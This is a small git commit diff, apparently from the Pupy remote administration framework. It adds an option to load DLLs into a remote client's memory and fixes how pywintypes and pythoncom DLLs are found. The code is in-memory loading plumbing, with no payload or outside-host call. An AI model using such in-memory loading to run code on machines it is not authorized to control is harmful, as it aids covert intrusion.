fix import of pywintypes and possibility of import of pythoncom27.dll

via load_packages("pythoncom")
This commit is contained in:
n1nj4sec 2016-08-04 18:58:47 +02:00
parent 1eb35e86a9
commit da8b092799
4 changed files with 20 additions and 8 deletions

View File

@ -26,12 +26,19 @@ class LoadPackageModule(PupyModule):
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="load_package", description=self.__doc__)
self.arg_parser.add_argument('-f', '--force', action='store_true', help='force package to reload even if it has already been loaded')
self.arg_parser.add_argument('-d', '--dll', action='store_true', help='load a dll instead')
self.arg_parser.add_argument('package', completer=package_completer, help='package name (example: psutil, scapy, ...)')
def run(self, args):
if self.client.load_package(args.package, force=args.force):
self.success("package loaded !")
if args.dll:
if self.client.load_dll(args.package):
self.success("dll loaded !")
else:
self.error("the dll was already loaded")
else:
self.error("package is already loaded !")
if self.client.load_package(args.package, force=args.force):
self.success("package loaded !")
else:
self.error("package is already loaded !")

View File

@ -121,11 +121,14 @@ class PupyPackageFinder:
def find_module(self, fullname, path=None):
imp.acquire_lock()
try:
files=[]
if fullname in ("pywintypes", "pythoncom"):
fullname = fullname + "%d%d" % sys.version_info[:2]
fullname = fullname.replace(".", "\\") + ".dll"
files=[fullname]
else:
files=get_module_files(fullname)
#print "find_module(\"%s\",\"%s\")"%(fullname,path)
files=get_module_files(fullname)
if not builtin_memimporter:
files=[f for f in files if not f.lower().endswith((".pyd",".dll"))]
if not files:

@ -1 +1 @@
Subproject commit a439993082444f89753299a957d5b9a583db748a
Subproject commit 107f3131a5beae6a36d7825bc468860e2f428536

View File

@ -125,17 +125,19 @@ class PupyClient(object):
def load_dll(self, path):
"""
load python dll like pywintypes27.dll necessary for some pywin32 .pyd to work
load some dll from memory like sqlite3.dll needed for some .pyd to work
Don't load pywintypes27.dll and pythoncom27.dll with this. Use load_package("pythoncom") instead
"""
name=os.path.basename(path)
if name in self.imported_dlls:
return
return False
buf=b""
with open(path,'rb') as f:
buf=f.read()
if not self.conn.modules.pupy.load_dll(name, buf):
raise ImportError("load_dll: couldn't load %s"%name)
self.imported_dlls[name]=True
return True
def load_package(self, module_name, force=False):
if module_name in packages_dependencies:
@ -173,7 +175,7 @@ class PupyClient(object):
modules_dic[modpath]=module_code
package_found=True
else: # loading a simple file
for ext in [".py",".pyc",".pyd"]:
for ext in [".py",".pyc",".pyd", "27.dll"]: #quick and dirty ;) => pythoncom27.dll, pywintypes27.dll
filepath=os.path.join(search_path,start_path+ext)
if os.path.isfile(filepath):
module_code=""